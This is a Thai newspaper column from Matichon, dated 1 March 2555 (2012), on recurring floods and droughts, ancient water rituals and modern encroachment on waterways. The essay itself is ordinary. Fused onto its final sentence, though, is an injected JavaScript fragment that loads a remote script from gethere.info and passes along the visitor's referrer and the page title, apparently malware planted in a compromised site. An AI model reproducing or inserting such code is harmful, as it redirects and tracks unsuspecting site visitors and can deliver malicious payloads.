มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 1 มีนาคม 2555

 

          น้ำหลากท่วมเพิ่งลดไปไม่นาน คนถูกน้ำท่วมแทบล้มละลายยังไม่ทันจะลุกยืนอย่างแข็งแรงได้ คนอีกหลายพื้นที่กำลังถูกภัยแล้งถล่ม แล้วอาจลุกลามทับซ้อนถึงคนถูกน้ำท่วมอีกก็ได้

          น้ำมาก-น้ำน้อย จนถึง น้ำท่วม-น้ำแล้ง เป็นปัญหาของคนในภูมิภาคอุษาคเนย์ (ประชาคมอาเซียน) ตั้งแต่ยุคดึกดำบรรพ์ ไม่น้อยกว่า 3,000 ปีมาแล้ว

          และเป็นปัญหาสืบเนื่องมาจนปัจจุบัน มีทุกปีมิได้ขาด เพราะต้องพึ่งพาธรรมชาติ ที่มักแปรปรวน และมนุษย์ควบคุมไม่ได้

          ดังนั้น จึงต้องอ่อนยอบนอบน้อมต่อธรรมชาติ ด้วยพิธีกรรมเพื่อขอความอุดมสมบูรณ์

          สิ่งที่ทำให้เกิดความอุดมสมบูรณ์ได้ก็คือน้ำ ที่มาจากฟ้าและดินโดยไม่น้อยและไม่มากเกินไป ให้พอดีๆ

          น้ำจากฟ้าคือฝน และน้ำจากดินคือซำ (หรือซัม) โดยมีนาคหรืองูเป็นสัญลักษณ์ของน้ำจากฟ้าและดิน รวมทั้งกบ, เขียด, คางคก (คันคาก)

          คนเมื่อ 3,000 ปีมาแล้ว ก่อนรับศาสนาจากอินเดีย ต้องมีพิธีเซ่นไหว้เลี้ยงดูบูชา“ผี”นาค, งู, กบ, เขียด, คางคก (คันคาก), ฯลฯ ขอน้ำฝนและน้ำซำอย่างพอดีๆ เพื่อกินใช้และทำไร่นา เพื่อข้าวปลาอาหารเลี้ยงชีวิตรอดปลอดภัย ถ้าน้อยไปก็ขอเพิ่ม ถ้ามากไปก็ขอลด

          ครั้นรับศาสนาพราหมณ์พุทธแล้ว ก็ปรับพิธีผีที่มีมาก่อนให้เข้ากับพราหมณ์พุทธ แล้วเรียกว่าประเพณี 12 เดือน

          เมื่อราชสำนักมีขึ้นก็รับประเพณีของชุมชนชาวบ้านไปปรับให้ขลังและศักดิ์สิทธิ์ขึ้น แล้วเรียกพระราชพิธี 12 เดือน มีในกฎมณเฑียรบาลที่พระราชาต้องทำประจำเพื่อความมั่นคงและมั่งคั่งของราชอาณาจักร ดังเห็นได้จาก พิธีจรดพระนังคัลแรกนาขวัญ, พิธีลอยกระทง, พิธีแข่งเรือไล่น้ำ, ฯลฯ จนถึงพิธีฟันน้ำให้น้ำลดเร็วๆ

          ถ้าพระราชาฝ่าฝืนไม่ทำตามกำหนด ก็เชื่อว่าผีจะบันดาลให้อาณาจักรล่มจม

          น้ำมาก-น้ำน้อย, น้ำท่วม-น้ำแล้ง ยังมีอยู่ให้สังคมไทยเดือดร้อนทุกวันนี้ แล้วจะมีต่อไปไม่สิ้นสุด

          แต่จะบรรเทาได้ถ้าเข้าใจและนอบน้อมต่อธรรมชาติ แล้วทำนุบำรุงรักษาแม่น้ำลำคลองกับแหล่งน้ำอย่างสม่ำเสมอ เช่น ห้วย, หนอง, คลอง, บึง, บุ่ง, ทาม, ฯลฯ

          แต่สังคมไทยสมัยใหม่ไม่เคารพภูมิปัญญาประเพณีเก่าๆ เพราะเลื่อมใสงมงายวิทยาศาสตร์เทคโนโลยีใหม่ และเห็นแก่ตัวสุดโต่ง จนไม่มี “จิตสำนึกสาธารณะ” จึงพากันรุกล้ำที่สาธารณะอันเป็นที่อยู่และทางไหลของน้ำจนสกปรกรกรุงรังขัดขวางทางน้ำทั่วประเทศ

          ไม่ได้หมายความจะให้ฟื้นฟูบูชาประเพณีเก่าๆ ซึ่งหลายอย่างใช้การไม่ได้แล้ว

          แต่จะหมายความแค่ว่าให้เคารพนบนอบธรรมชาติ แล้วไม่เบียดเบียนธรรมชาติ ดังเห็นแก่ตัวกันทั่วไปในทุกวันนี้

          ถ้าแก้ไขตรงนี้ไม่ได้ ปัญหาน้ำมาก-น้ำน้อย, น้ำท่วม-น้ำแล้ง ก็ยังไม่ลดลง แต่จะทวีความรุนแรงเพิ่มขึ้นเรื่อยๆ เพราะผนวกภาวะโลกร้อนs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; d.getElementsByTagName(‘head’)[0].appendChild(s);